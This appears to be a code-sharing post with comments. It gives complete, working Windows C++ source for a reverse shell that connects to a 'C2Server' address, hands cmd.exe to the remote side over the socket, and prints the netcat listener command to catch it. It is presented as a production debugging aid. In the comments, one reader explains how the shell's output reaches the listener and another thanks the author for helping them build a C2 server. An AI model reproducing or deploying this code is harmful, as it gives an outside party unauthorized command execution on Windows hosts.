Reverse shell winapi c++ windows cmd. Useful for debugging production environments.

reverseshell.cpp

#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")

/*
THIS IS FOR DEBUGGING ONLY, DO NOT RUN THIS CODE IN PRODUCTION UNDER ANY CIRCUMSTANCE!
https://github.com/dev-frog/C-Reverse-Shell/blob/master/re.cpp
https://github.com/tudorthe1ntruder/reverse-shell-poc/blob/master/rs.c
https://eternallybored.org/misc/netcat/
*/
static void RunShell(char* C2Server, int C2Port)
{
	printf("RunShell(\"%s\", %d), to connect: nc -lvnp %d\n", C2Server, C2Port, C2Port);
	constexpr auto tickTime = 1000;
	constexpr auto totalTicks = 120;
	printf("Waiting a total of %dms for a connection...\n", tickTime * totalTicks);
	for (int i = 0; i < totalTicks; i++)
	{
		Sleep(tickTime);

		SOCKET mySocket;
		sockaddr_in addr;
		WSADATA version;
		WSAStartup(MAKEWORD(2, 2), &version);
		mySocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
		addr.sin_family = AF_INET;

		addr.sin_addr.s_addr = inet_addr(C2Server);
		addr.sin_port = htons(C2Port);

		if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR)
		{
			closesocket(mySocket);
			WSACleanup();
			continue;
		}
		else
		{
			puts("Client connected!");
			char Process[] = "cmd.exe";
			STARTUPINFO sinfo;
			PROCESS_INFORMATION pinfo;
			memset(&sinfo, 0, sizeof(sinfo));
			sinfo.cb = sizeof(sinfo);
			sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
			sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)mySocket;
			CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
			WaitForSingleObject(pinfo.hProcess, INFINITE);
			CloseHandle(pinfo.hProcess);
			CloseHandle(pinfo.hThread);
			closesocket(mySocket);
			WSACleanup();
			puts("Shell closed");
			break;
		}
	}
}

I have a question. I don't see the client sending output to the server, so how can ncat get the output when running the command in the client?

It’s automatically done by Windows via the process handles for stdout, stderr, stdin

I wanted to build c2 server and I did. Thank you very much!